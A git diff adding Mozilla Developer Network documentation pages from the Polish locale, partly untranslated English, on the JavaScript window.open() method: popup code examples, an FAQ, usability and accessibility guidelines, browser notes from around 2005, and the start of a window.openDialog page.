+ "PromoteFirefoxWindowName", "resizable=yes,scrollbars=yes,status=yes");
+ /* then create it. The new window will be created and
+ will be brought on top of any other window. */
+ }
+ else
+ {
+ WindowObjectReference.focus();
+ /* else the window reference must exist and the window
+ is not closed; therefore, we can bring it back on top of any other
+ window with the focus() method. There would be no need to re-create
+ the window or to reload the referenced resource. */
+ };
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a href="http://www.spreadfirefox.com/" target="PromoteFirefoxWindowName"
+onclick="openFFPromotionPopup(); return false;"
+title="This link will create a new window or will re-use
+an already opened one"&gt;Promote Firefox adoption&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<p>The above code solves a few usability problems related to links opening secondary window. The purpose of the <code>return false</code> in the code is to cancel default action of the link: if the onclick event handler is executed, then there is no need to execute the default action of the link. But if javascript support is disabled or non-existent on the user's browser, then the onclick event handler is ignored and the browser loads the referenced resource in the target frame or window that has the name "PromoteFirefoxWindowName". If no frame nor window has the name "PromoteFirefoxWindowName", then the browser will create a new window and will name it "PromoteFirefoxWindowName".</p>
+
+<p>More reading on the use of the target attribute:</p>
+
+<p><a class="external" href="http://www.w3.org/TR/html401/present/frames.html#h-16.3.2">HTML 4.01 Target attribute specifications</a></p>
+
+<p><a class="external" href="http://www.htmlhelp.com/faq/html/links.html#new-window">How do I create a link that opens a new window?</a></p>
+
+<p>You can also parameterize the function to make it versatile, functional in more situations, therefore re-usable in scripts and webpages:</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+var WindowObjectReference = null; // global variable
+
+function openRequestedPopup(strUrl, strWindowName)
+{
+ if(WindowObjectReference == null || WindowObjectReference.closed)
+ {
+ WindowObjectReference = window.open(strUrl, strWindowName,
+ "resizable=yes,scrollbars=yes,status=yes");
+ }
+ else
+ {
+ WindowObjectReference.focus();
+ };
+}
+&lt;/script"&gt;
+(...)
+
+&lt;p&gt;&lt;a href="http://www.spreadfirefox.com/" target="PromoteFirefoxWindow"
+onclick="openRequestedPopup(this.href, this.target); return false;"
+title="This link will create a new window or will re-use
+an already opened one"&gt;Promote
+Firefox adoption&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<p>You can also make such function able to open only 1 secondary window and to reuse such single secondary window for other links in this manner:</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+var WindowObjectReference = null; // global variable
+var PreviousUrl; /* global variable which will store the
+ url currently in the secondary window */
+
+function openRequestedSinglePopup(strUrl)
+{
+ if(WindowObjectReference == null || WindowObjectReference.closed)
+ {
+ WindowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+ "resizable=yes,scrollbars=yes,status=yes");
+ }
+ else if(previousUrl != strUrl)
+ {
+ WindowObjectReference = window.open(strUrl, "SingleSecondaryWindowName",
+ "resizable=yes,scrollbars=yes,status=yes");
+ /* if the resource to load is different,
+ then we load it in the already opened secondary window and then
+ we bring such window back on top/in front of its parent window. */
+ WindowObjectReference.focus();
+ }
+ else
+ {
+ WindowObjectReference.focus();
+ };
+ PreviousUrl = strUrl;
+ /* explanation: we store the current url in order to compare url
+ in the event of another call of this function. */
+}
+&lt;/script&gt;
+
+(...)
+
+&lt;p&gt;&lt;a href="http://www.spreadfirefox.com/" target="SingleSecondaryWindowName"
+onclick="openRequestedSinglePopup(this.href); return false;"
+title="This link will create a new window or will re-use
+an already opened one"&gt;Promote Firefox
+adoption&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&lt;a href="http://www.mozilla.org/support/firefox/faq"
+target="SingleSecondaryWindowName"
+onclick="openRequestedSinglePopup(this.href); return false;"
+title="This link will create a new window or will re-use
+an already opened one"&gt;Firefox FAQ&lt;/a&gt;&lt;/p&gt;
+</pre>
+
+<h3 id="FAQ" name="FAQ">FAQ</h3>
+
+<dl>
+ <dt>How can I prevent the confirmation message asking the user whether he wants to close the window?</dt>
+ <dd>You can not. <strong>New windows not opened by javascript can not as a rule be closed by JavaScript.</strong> The JavaScript Console in Mozilla-based browsers will report the warning message: <code>"Scripts may not close windows that were not opened by script."</code> Otherwise the history of URLs visited during the browser session would be lost.</dd>
+ <dd><a href="/pl/Window.close" title="pl/Window.close">More on the window.close()</a> method</dd>
+</dl>
+
+<dl>
+ <dt>How can I bring back the window if it is minimized or behind another window?</dt>
+ <dd>First check for the existence of the window object reference of such window and if it exists and if it has not been closed, then use the <a href="/pl/DOM/window.focus" title="pl/DOM/window.focus">focus()</a> method. There is no other reliable way. You can examine an <a href="#Best_practices">example explaining how to use the focus() method</a>.</dd>
+</dl>
+
+<dl>
+ <dt>How do I force a maximized window?</dt>
+ <dd>You cannot. All browser manufacturers try to make the opening of new secondary windows noticed by users and noticeable by users to avoid confusion, to avoid disorienting users.</dd>
+</dl>
+
+<dl>
+ <dt>How do I turn off window resizability or remove toolbars?</dt>
+ <dd>You cannot force this. Users with Mozilla-based browsers have absolute control over window functionalities like resizability, scrollability and toolbars presence via user preferences in <code>about:config</code>. Since your users are the ones who are supposed to use such windows (and not you, being the web author), the best is to avoid interfering with their habits and preferences. We recommend to always set the resizability and scrollbars presence (if needed) to yes to insure accessibility to content and usability of windows. This is in the best interests of both the web author and the users.</dd>
+</dl>
+
+<dl>
+ <dt>How do I resize a window to fit its content?</dt>
+ <dd>You can not reliably because the users can prevent the window from being resized by unchecking the</dd>
+</dl>
+
+<p><code style="white-space: normal;">Edit/Preferences/Advanced/Scripts &amp; Plug-ins/Allow Scripts to/ Move or resize existing windows</code><br>
+ checkbox in Mozilla or<br>
+ <code style="white-space: normal;">Tools/Options.../Content tab/Enable Javascript/Advanced button/Move or resize existing windows</code><br>
+ checkbox in Firefox or by setting<br>
+ <code>dom.disable_window_move_resize</code><br>
+ to <var>true</var> in the <code>about:config</code> or by editing accordingly their <a class="external" href="http://www.mozilla.org/support/firefox/edit#user">user.js file</a>.</p>
+
+<dl>
+ <dd>In general, users usually disable moving and resizing of existing windows because allowing authors' scripts to do so has been abused overwhelmingly in the past and the rare scripts that do not abuse such feature are often wrong, inaccurate when resizing the window. 99% of all those scripts disable window resizability and disable scrollbars when in fact they should enable both of these features to allow a cautious and sane fallback mechanism if their calculations are wrong.</dd>
+</dl>
+
+<dl>
+ <dd>The window method <a href="/pl/DOM/window.sizeToContent" title="pl/DOM/window.sizeToContent">sizeToContent()</a> is also disabled if the user unchecks the preference <code>Move or resize existing windows</code> checkbox. Moving and resizing a window remotely on the user's screen via script will very often annoy the users, will disorient the user, and will be wrong at best. The web author expects to have full control of (and can decide about) every position and size aspects of the users' browser window ... which is simply not true.</dd>
+</dl>
+
+<dl>
+ <dt>How do I open a referenced resource of a link in a new tab? or in a specific tab?</dt>
+ <dd>Currently, you can not. Only the user can set his advanced preferences to do that. <a class="external" href="http://kmeleon.sourceforge.net/">K-meleon 1.1</a>, a Mozilla-based browser, gives complete control and power to the user regarding how links are opened. Some advanced extensions also give Mozilla and Firefox a lot of power over how referenced resources are loaded.</dd>
+</dl>
+
+<dl>
+ <dd>In a few years, the <a class="external" href="http://www.w3.org/TR/2004/WD-css3-hyperlinks-20040224/#target0">target property of the CSS3 hyperlink module</a> may be implemented (if CSS3 Hyperlink module as it is right now is approved). And even if and when this happens, you can expect developers of browsers with tab-browsing to give the user entire veto power and full control over how links can open web pages. How to open a link should always be entirely under the control of the user.</dd>
+</dl>
+
+<dl>
+ <dt>How do I know whether a window I opened is still open?</dt>
+ <dd>You can test for the existence of the window object reference which is the returned value in case of success of the window.open() call and then verify that <var>WindowObjectReference</var>.closed return value is <var>false</var>.</dd>
+</dl>
+
+<dl>
+ <dt>How can I tell when my window was blocked by a popup blocker?</dt>
+ <dd>With the built-in popup blockers of Mozilla/Firefox and Internet Explorer 6 SP2, you have to check the return value of <code>window.open()</code>: it will be <var>null</var> if the window wasn't allowed to open. However, for most other popup blockers, there is no reliable way.</dd>
+</dl>
+
+<dl>
+ <dt>What is the JavaScript relationship between the main window and the secondary window?</dt>
+ <dd>The return value of the window.open() method and the <a href="/pl/DOM/window.opener" title="pl/DOM/window.opener">opener</a> property. The <var>WindowObjectReference</var> links the main (opener) window to the secondary (sub-window) window while the opener keyword will link the secondary window to its main (opener) window.</dd>
+</dl>
+
+<dl>
+ <dt>I can not access the properties of the new secondary window. I always get an error in the javascript console saying "Error<span class="nowiki">:</span> uncaught exception<span class="nowiki">:</span> Permission denied to get property &lt;property_name or method_name&gt;. Why is that?</dt>
+ <dd>It is because of the cross-domain script security restriction (also referred as the "Same Origin Policy"). A script loaded in a window (or frame) from a distinct origin (domain name) <strong>cannot get nor set</strong> properties of another window (or frame) or the properties of any of its HTML objects coming from another distinct origin (domain name). Therefore, before executing a script targeting a secondary window, the browser in the main window will verify that the secondary window has the same domain name.</dd>
+ <dd>More reading on the cross-domain script security restriction: <a class="external" href="http://www.mozilla.org/projects/security/components/same-origin.html" rel="freelink">http://www.mozilla.org/projects/secu...me-origin.html</a></dd>
+</dl>
+
+<h3 id="Usability_issues" name="Usability_issues">Usability issues</h3>
+
+<h4 id="Avoid_resorting_to_window.open.28.29" name="Avoid_resorting_to_window.open.28.29">Avoid resorting to <code>window.open()</code></h4>
+
+<p>Generally speaking, it is preferable to avoid resorting to window.open() for several reasons:</p>
+
+<ul>
+ <li>All Mozilla-based browsers offer tab-browsing and this is the preferred mode of opening referenced resources... not just in Mozilla-based browsers but in all other browsers offering tab-browsing. In other words, tab-capable browser users overall prefer opening new tabs than opening new windows in a majority of webpage situations. Tab-capable browsers have rapidly gained support and enthusiasm on internet in the last 2 years and this trend will likely continue. It has been confirmed that the new upcoming release of MSIE 7 in February 2006 will have full support for tab browsing.</li>
+</ul>
+
+<ul>
+ <li>There are now <a class="link-https" href="https://addons.update.mozilla.org/extensions/showlist.php?application=mozilla&amp;category=Tabbed+Browsing&amp;numpg=50&amp;os=windows&amp;version=auto-detect&amp;submit=Update">several Mozilla extensions</a> (like Multizilla) and <a class="link-https" href="https://addons.update.mozilla.org/extensions/showlist.php?application=firefox&amp;version=1.0+&amp;os=Windows&amp;category=Tabbed%20Browsing">Firefox extensions</a> (like <a class="link-https" href="https://addons.update.mozilla.org/extensions/moreinfo.php?application=firefox&amp;version=1.0%20&amp;os=Windows&amp;category=Tabbed%20Browsing&amp;numpg=10&amp;id=158">Tabbrowser preferences</a>), features, settings and advanced preferences based on tab-browsing and based on converting window.open() calls into opening tabs, based on neutralizing window.open() calls, in particular in neutralizing unrequested openings of new windows (often referred as blocking unrequested popups or as blocking script-initiated windows opening automatically). Such features found in extensions include opening a link in a new window or not, in the same window, in a new tab or not, in "background" or not. Coding carelessly to open new windows can no longer be assured of success, can not succeed by force and, if it does, it will annoy a majority of users.</li>
+</ul>
+
+<ul>
+ <li>New windows can have menubar missing, scrollbars missing, status bar missing, window resizability disabled, etc.; new tabs can not be missing those functionalities or toolbars (or at least, the toolbars which are present by default). Therefore, tab-browsing is preferred by a lot of users because the normal user-interface of the browser window they prefer is kept intact, remains stable.</li>
+</ul>
+
+<ul>
+ <li>Opening new windows, even with reduced features, uses considerably a lot of the user's system resources (cpu, RAM) and involves considerably a lot of coding in the source code (security management, memory management, various code branchings sometimes quite complex, window frame/chrome/toolbars building, window positioning and sizing, etc.). Opening new tabs is less demanding on the user's system resources (and faster to achieve) than opening new windows.</li>
+</ul>
+
+<h4 id="Offer_to_open_a_link_in_a_new_window.2C_using_these_guidelines" name="Offer_to_open_a_link_in_a_new_window.2C_using_these_guidelines">Offer to open a link in a new window, using these guidelines</h4>
+
+<p>If you want to offer to open a link in a new window, then follow tested and recommendable usability and accessibility guidelines:</p>
+
+<h5 id="Never_use_this_form_of_code_for_links:.3Ca_href.3D.22javascript:window.open.28....29.22_....3E" name="Never_use_this_form_of_code_for_links:.3Ca_href.3D.22javascript:window.open.28....29.22_....3E"><em>Never</em> use this form of code for links:<br>
+ <code>&lt;a href="javascript:window.open(...)" ...&gt;</code></h5>
+
+<p>"javascript:" links break accessibility and usability of webpages in every browser.</p>
+
+<ul>
+ <li>"javascript:" pseudo-links become dysfunctional when javascript support is disabled or inexistent. Several corporations allow their employees to surf on the web but under strict security policies: no javascript enabled, no java, no activeX, no Flash. For various reasons (security, public access, text browsers, etc..), about 8% to 12% of users on the web surf with javascript disabled.</li>
+ <li>"javascript:" links will interfere with advanced features in tab-capable browsers: eg. middle-click on links, Ctrl+click on links, tab-browsing features in extensions, etc.</li>
+ <li>"javascript:" links will interfere with the process of indexing webpages by search engines.</li>
+ <li>"javascript:" links interfere with assistive technologies and several web-aware applications (e.g. PDA (Personal Digital Assistant).</li>
+ <li>"javascript:" links also interfere with "mouse gestures" features implemented in browsers.</li>
+ <li>Protocol scheme "javascript:" will be reported as an error by link validators and link checkers.</li>
+</ul>
+
+<p><strong>Further reading:</strong></p>
+
+<ul>
+ <li><a class="external" href="http://www.useit.com/alertbox/20021223.html">Top Ten Web-Design Mistakes of 2002</a>, 6. JavaScript in Links, Jakob Nielsen, December 2002</li>
+ <li><a class="external" href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links &amp; JavaScript Living Together in Harmony</a>, Jeff Howden, February 2002</li>
+ <li><a class="external" href="http://jibbering.com/faq/#FAQ4_24">comp.lang.javascript newsgroup discussion FAQ on "javascript:" links</a></li>
+</ul>
+
+<h5 id="Nigdy_nie_u.C5.BCywaj_.3Ca_href.3D.22.23.22_onclick.3D.22window.open.28....29.3B.22.3E" name="Nigdy_nie_u.C5.BCywaj_.3Ca_href.3D.22.23.22_onclick.3D.22window.open.28....29.3B.22.3E">Nigdy nie używaj <code>&lt;a href="#" onclick="window.open(...);"&gt;</code></h5>
+
+<p>Takie pseudo-linki ograniczają dostępność stron. <strong>Zawsze używaj rzeczywistych URLi jako wartości atrybutu href</strong> tak by w przypadku braku obsługi javascriptu lub gdy przeglądarka nie obsługuje otwierania odrębnych okien (jak w przypadku MS-Web TV, przeglądarek tekstowych, itp.), przeglądarka miała możliwość dostępu do zasobu zgodnie z domyślnym sposobem obsługi zasobów. Tak sformułowane linki kolidują także z dodatkowymi funkcjami przeglądarek obsługujących zakładki, np.: kliknięcie linku środkowym klawiszem myszy, kliknięcie linku z przytrzymanym klawiszem ctrl, naciśnięcie kombinacji ctrl+enter czy gesty myszą.</p>
+
+<h5 id="Always_identify_links_which_will_create_.28or_will_re-use.29_a_new.2C_secondary_window" name="Always_identify_links_which_will_create_.28or_will_re-use.29_a_new.2C_secondary_window">Always identify links which will create (or will re-use) a new, secondary window</h5>
+
+<p>Identify links that will open new windows in a way that helps navigation for users by coding the title attribute of the link, by adding an icon at the end of the link or by coding the cursor accordingly.</p>
+
+<p>The purpose is to warn users in advance of context changes to minimize confusion on the user's part: changing the current window or popping up new windows can be very disorienting to users (Back toolbar button is disabled).</p>
+
+<blockquote>
+<p>"Users often don't notice that a new window has opened, especially if they are using a small monitor where the windows are maximized to fill up the screen. So a user who tries to return to the origin will be confused by a grayed out <em>Back</em> button."<br>
+ quote from <a class="external" href="http://www.useit.com/alertbox/990530.html">The Top Ten <em>New</em> Mistakes of Web Design</a>: 2. Opening New Browser Windows, Jakob Nielsen, May 1999</p>
+</blockquote>
+
+<p>When extreme changes in context are explicitly identified before they occur, then the users can determine if they wish to proceed or so they can be prepared for the change: not only they will not be confused or feel disoriented, but more experienced users can better decide how to open such links (in a new window or not, in the same window, in a new tab or not, in "background" or not).</p>
+
+<p><strong>References</strong></p>
+
+<ul>
+ <li>"If your link spawns a new window, or causes another windows to 'pop up' on your display, or move the focus of the system to a new FRAME or Window, then the nice thing to do is to tell the user that something like that will happen." <a class="external" href="http://www.w3.org/WAI/wcag-curric/sam77-0.htm">World Wide Web Consortium Accessibility Initiative regarding popups</a></li>
+ <li>"Use link titles to provide users with a preview of where each link will take them, before they have clicked on it." <a class="external" href="http://www.useit.com/alertbox/991003.html">Ten Good Deeds in Web Design</a>, Jakob Nielsen, October 1999</li>
+ <li><a class="external" href="http://www.useit.com/alertbox/980111.html">Using Link Titles to Help Users Predict Where They Are Going</a>, Jakob Nielsen, January 1998</li>
+</ul>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header" colspan="4">Przykład ikon &amp; kursorów "Nowego okna"</td>
+ </tr>
+ <tr>
+ <td style="width: 25%;"><img alt="New window icon from yahoo.com"></td>
+ <td style="width: 25%;"><img alt="New window icon from microsoft.com" class="internal" src="/@api/deki/files/2463/=NewwinMSIE.gif"></td>
+ <td style="width: 25%;"><img alt="New window icon from webaim.org" class="internal" src="/@api/deki/files/2339/=Popup_requested_new_window.gif"></td>
+ <td style="width: 25%;"><img alt="New window icon from sun.com" class="internal" src="/@api/deki/files/2476/=PopupImageSun.gif"></td>
+ </tr>
+ <tr>
+ <td><img alt="New window icon from bbc.co.uk" class="internal" src="/@api/deki/files/2469/=Opennews_rb.gif"></td>
+ <td><img alt="New window icon from Accessible Internet Solutions" class="internal" src="/@api/deki/files/2205/=AIS_NewWindowIcon.png"></td>
+ <td><img alt="New window icon from accessify.com" class="internal" src="/@api/deki/files/2474/=Pop-up-launcher.gif"></td>
+ <td><img alt="New window icon from webstyleguide.com" class="internal" src="/@api/deki/files/2347/=Webstyleguide_com_newwind.gif"></td>
+ </tr>
+ <tr>
+ <td><img alt="New window icon from an unknown source" class="internal" src="/@api/deki/files/2475/=Popicon_1.gif"></td>
+ <td><img alt="New window icon from an unknown source" class="internal" src="/@api/deki/files/2462/=New.gif"></td>
+ <td><img alt="New window icon from an unknown source" class="internal" src="/@api/deki/files/2348/=WillCreateOrRecycleNewWindow.gif"></td>
+ <td><img alt="New window icon from gtalbot.org" class="internal" src="/@api/deki/files/2336/=OpenRequestedPopup.png"></td>
+ </tr>
+ <tr>
+ <td colspan="2"><img alt="New window cursor from draig.de" class="internal" src="/@api/deki/files/2300/=Cursor_LinkNewWindowTargetBlank.png"></td>
+ <td colspan="2"><img alt="New window cursor from mithgol.ru" class="internal" src="/@api/deki/files/2301/=Cursor_newwindowSergeySokoloff.png"></td>
+ </tr>
+ </tbody>
+</table>
+
+<h5 id="Always_use_the_target_attribute" name="Always_use_the_target_attribute">Always use the target attribute</h5>
+
+<p>If javascript support is disabled or non-existent, then the user agent will create a secondary window accordingly or will render the referenced resource according to its handling of the target attribute: e.g. some user agents which can not create new windows, like MS Web TV, will fetch the referenced resource and append it at the end of the current document. The goal and the idea is to try to provide - <strong>not impose</strong> - to the user a way to open the referenced resource, a mode of opening the link. Your code should not interfere with the features of the browser at the disposal of the user and your code should not interfere with the final decision resting with the user.</p>
+
+<h5 id="Do_not_use_target.3D.22_blank.22" name="Do_not_use_target.3D.22_blank.22">Do not use <code>target="_blank"</code></h5>
+
+<p>Always provide a meaningful name to your target attribute and try to reuse such target attribute in your page so that a click on another link may load the referenced resource in an already created and rendered window (therefore speeding up the process for the user) and therefore justifying the reason (and user system resources, time spent) for creating a secondary window in the first place. Using a single target attribute value and reusing it in links is much more user resources friendly as it only creates one single secondary window which is recycled. On the other hand, using "_blank" as the target attribute value will create several new and unnamed windows on the user's desktop which can not be recycled, reused. In any case, if your code is well done, it will not interfere with the user's final choice but will rather merely offer him more choices, more ways to open links and more power to the tool he's using (a browser).</p>
+
+<h3 id="Glossary" name="Glossary">Glossary</h3>
+
+<dl>
+ <dt>Opener window, parent window, main window, first window </dt>
+ <dd>Terms often used to describe or to identify the same window. It is the window from which a new window will be created. It is the window on which the user clicked a link which lead to the creation of another, new window.</dd>
+</dl>
+
+<dl>
+ <dt>Sub-window, child window, secondary window, second window </dt>
+ <dd>Terms often used to describe or to identify the same window. It is the new window which was created.</dd>
+</dl>
+
+<dl>
+ <dt>Unrequested popup windows</dt>
+ <dd>Script-initiated windows opening automatically without the user's consent.</dd>
+</dl>
+
+<h3 id="Specification" name="Specification">Specification</h3>
+
+<p>DOM Level 0. window.open() is not part of any W3C (World Wide Web Consortium) specification or technical recommendation.</p>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<h4 id="Note_on_precedence" name="Note_on_precedence">Note on precedence</h4>
+
+<p>In cases where <code>left</code> and <code>screenX</code> (and/or <code>top</code> and <code>screenY</code>) have conflicting values, then <code>left</code> and <code>top</code> have precedence over <code>screenX</code> and <code>screenY</code> respectively. If <code>left</code> and <code>screenX</code> (and/or <code>top</code> and <code>screenY</code>) are defined in the <var>strWindowFeatures</var> list, then <code>left</code> (and/or <code>top</code>) will be honored and rendered. In the following example the new window will be positioned at 100 pixels from the left side of the work area for applications of the user's operating system, not at 200 pixels.</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+WindowObjectReference = window.open("http://news.bbc.co.uk/",
+ "BBCWorldNewsWindowName",
+ "left=100,screenX=200,resizable,scrollbars,status");
+&lt;/script&gt;
+</pre>
+
+<p>If left is set but top has no value and screenY has a value, then left and screenY will be the coordinate positioning values of the secondary window.</p>
+
+<p>outerWidth has precedence over width and width has precedence over innerWidth. outerHeight has precedence over height and height has precedence over innerHeight. In the following example, Mozilla-browsers will create a new window with an outerWidth of 600 pixels wide and will ignore the request of a width of 500 pixels and will also ignore the request of an innerWidth of 400 pixels.</p>
+
+<pre>&lt;script type="text/javascript"&gt;
+WindowObjectReference = window.open("http://www.wwf.org/",
+ "WWildlifeOrgWindowName",
+ "outerWidth=600,width=500,innerWidth=400,resizable,scrollbars,status");
+&lt;/script&gt;
+</pre>
+
+<h4 id="Note_on_position_and_dimension_error_correction" name="Note_on_position_and_dimension_error_correction">Note on position and dimension error correction</h4>
+
+<p>Requested position and requested dimension values in the <var>strWindowFeatures</var> list will not be honored and <strong>will be corrected</strong> if any of such requested value does not allow the entire browser window to be rendered within the work area for applications of the user's operating system. <strong>No part of the new window can be initially positioned offscreen. This is by default in all Mozilla-based browser releases.</strong></p>
+
+<p><a class="external" href="http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5">MSIE 6 SP2 has a similar error correction mechanism</a> but it is not activated by default in all security levels: a security setting can disable such error correction mechanism.</p>
+
+<h4 id="Note_on_scrollbars" name="Note_on_scrollbars">Note on scrollbars</h4>
+
+<p>When content overflows window viewport dimensions, then scrollbar(s) (or some scrolling mechanism) are necessary to ensure that content can be accessed by users. Content can overflow window dimensions for several reasons which are outside the control of web authors:</p>
+
+<ul>
+ <li>user resizes the window</li>
+ <li>user increases the text size of fonts via View/Text Zoom (%) menuitem in Mozilla or View/Text Size/Increase or Decrease in Firefox</li>
+ <li>user sets a minimum font size for pages which is bigger than the font-size the web author requested. People over 40 years old or with particular viewing habit or reading preference often set a minimal font size in Mozilla-based browsers.</li>
+ <li>web author is not aware of default margin (and/or border and/or padding) values applying to root element or body node in various browsers and various browser versions</li>
+ <li>user uses an user stylesheet (<a class="external" href="http://www.mozilla.org/support/firefox/edit#content">userContent.css in Mozilla-based browsers</a>) for his viewing habits which increases document box dimensions (margin, padding, default font size)</li>
+ <li>user can customize individually the size (height or width) of most toolbars via operating system settings. E.g. window resizing borders, height of browser titlebar, menubar, scrollbars, font size are entirely customizable by the user in Windows XP operating system. These toolbars dimensions can also be set via browser themes and skins or by operating system themes</li>
+ <li>web author is unaware that the user default browser window has custom toolbar(s) for specific purpose(s); e.g.: prefs bar, web developer bar, accessibility toolbar, popup blocking and search toolbar, multi-feature toolbar, etc.</li>
+ <li>user uses assistive technologies or add-on features which modify the operating system's work area for applications: e.g. MS-Magnifier</li>
+ <li>user repositions and/or resizes directly or indirectly the operating system's work area for applications: e.g. user resizes the Windows taskbar, user positions the Windows taskbar on the left side (arabic language based) or right side (Hebrew language), user has a permanent MS-Office quick launch toolbar, etc.</li>
+ <li>some operating system (Mac OS X) forces presence of toolbars which can then fool the web author's anticipations, calculations of the effective dimensions of the browser window</li>
+</ul>
+
+<h4 id="Note_on_status_bar" name="Note_on_status_bar">Note on status bar</h4>
+
+<p>You should assume that a large majority of users' browsers will have the status bar or that a large majority of users will want to force the status bar presence: best is to always set this feature to yes. Also, if you specifically request to remove the status bar, then Firefox users will not be able to view the Site Navigation toolbar if it is installed. In Mozilla and in Firefox, all windows with a status bar have a window resizing grippy at its right-most side. The status bar also provides info on http connection, hypertext resource location, download progress bar, encryption/secure connection info with SSL (Secure Socket Layer) connection (displaying a yellow padlock icon), internet/security zone icons, privacy policy/cookie icon, etc. <strong>Removing the status bar usually removes a lot of functionality, features and information considered useful (and sometimes vital) by the users.</strong></p>
+
+<h4 id="Note_on_security_issues_of_the_status_bar_presence" name="Note_on_security_issues_of_the_status_bar_presence">Note on security issues of the status bar presence</h4>
+
+<p>In MSIE 6 for XP SP2: For windows opened using window.open():</p>
+
+<blockquote>
+<p>"For windows opened using window.open():<br>
+ Expect the status bar to be present, and code for it. <strong>The status bar will be on by default</strong> and is 20-25 pixels in height. (...)"<br>
+ quote from <a class="external" href="http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2, Browser Window Restrictions in XP SP2</a></p>
+</blockquote>
+
+<blockquote>
+<p>"(...) windows that are created using the window.open() method can be called by scripts and used to spoof a user interface or desktop or to hide malicious information or activity by sizing the window so that the status bar is not visible.<br>
+ Internet Explorer windows provide visible security information to the user to help them ascertain the source of the Web page and the security of the communication with that page. When these elements are not in view, the user might think they are on a more trusted page or interacting with a system process when they are actually interacting with a malicious host. (...)<br>
+ <strong>Script-initiated windows will be displayed fully, with the Internet Explorer title bar and status bar.</strong> (...)<br>
+ Script management of Internet Explorer status bar<br>
+ Detailed description<br>
+ <strong>Internet Explorer has been modified to not turn off the status bar for any windows. The status bar is always visible for all Internet Explorer windows.</strong> (...) Without this change, windows that are created using the window.open() method can be called by scripts and spoof a user interface or desktop or hide malicious information or activity by hiding important elements of the user interface from the user.<br>
+ The status bar is a security feature of Internet Explorer windows that provides Internet Explorer security zone information to the user. This zone cannot be spoofed (...)"<br>
+ quote from <a class="external" href="http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/sp2brows.mspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Internet Explorer Window Restrictions</a></p>
+</blockquote>
+
+<h4 id="Note_on_fullscreen" name="Note_on_fullscreen">Note on fullscreen</h4>
+
+<p>In MSIE 6 for XP SP2:</p>
+
+<ul>
+ <li>"window.open() with fullscreen=yes will now result in a maximized window, not a kiosk mode window."</li>
+</ul>
+
+<ul>
+ <li>"The definition of the fullscreen=yes specification is changed to mean 'show the window as maximized,' which will keep the title bar, address bar, and status bar visible."</li>
+</ul>
+
+<p><em>References:</em></p>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2</a></li>
+</ul>
+
+<ul>
+ <li><a class="external" href="http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/sp2brows.mspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Script sizing of Internet Explorer windows</a></li>
+</ul>
+
+<h4 id="Note_on_outerHeight_versus_height" name="Note_on_outerHeight_versus_height">Note on outerHeight versus height</h4>
+
+<p><img alt="innerHeight vs outerHeight illustration"></p>
+
+<h2 id="Tutorials" name="Tutorials">Tutorials</h2>
+
+<p><a class="external" href="http://www.infimum.dk/HTML/JSwindows.html">JavaScript windows (tutorial)</a> by Lasse Reichstein Nielsen</p>
+
+<p><a class="external" href="http://www.accessify.com/tutorials/the-perfect-pop-up.asp">The perfect pop-up (tutorial)</a> by Ian Lloyd</p>
+
+<p><a class="external" href="http://www.gtalbot.org/FirefoxSection/Popup/PopupAndFirefox.html">Popup windows and Firefox (interactive demos)</a> by Gérard Talbot</p>
+
+<h2 id="References" name="References">References</h2>
+
+<p><a class="external" href="http://www.cs.tut.fi/~jkorpela/www/links.html">Links Want To Be Links</a> by Jukka K. Korpela</p>
+
+<p><a class="external" href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links &amp; JavaScript Living Together in Harmony</a> by Jeff Howden</p>
diff --git a/files/pl/web/api/window/opendialog/index.html b/files/pl/web/api/window/opendialog/index.html
new file mode 100644
index 0000000000..6d24bf03fd
--- /dev/null
+++ b/files/pl/web/api/window/opendialog/index.html
@@ -0,0 +1,75 @@
+---
+title: window.openDialog
+slug: Web/API/Window/openDialog
+tags:
+ - DOM
+ - DOM_0
+ - Dokumentacja_Gecko_DOM
+ - Gecko
+ - Strony_wymagające_dopracowania
+ - Wszystkie_kategorie
+translation_of: Web/API/Window/openDialog
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+<p><code>window.openDialog</code> jest rozszerzeniem do <a href="/pl/DOM/window.open" title="pl/DOM/window.open">window.open</a>. Zachowuje się w taki sam sposób, oprócz tego, że opcjonalnie pobiera jeden lub więcej parametrów przeszłego <code>windowFeatures</code> i <code>windowFeatures</code> <strong>itself is treated a little differently.</strong></p>
+<p>The optional parameters, if present, will be bundled up in a JavaScript Array object and added to the newly created window as a property named <a href="/pl/DOM/window.arguments" title="pl/DOM/window.arguments">window.arguments</a>. They may be referenced in the JavaScript of the window at any time, including during the execution of a <code>load</code> handler. These parameters may be used, then, to pass arguments to and from the dialog window.</p>
+<p>Note that the call to <code>openDialog()</code> returns immediately. If you want the call to block until the user has closed the dialog, supply <code>modal</code> as a <code>windowFeatures</code> parameter. Note that this also means the user won't be able to interact with the opener window until he closes the modal dialog.</p>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+<pre class="eval"><em>newWindow</em> = openDialog(<em>url</em>, <em>name</em>, <em>features</em>, <em>arg1</em>, <em>arg2</em>, ...)
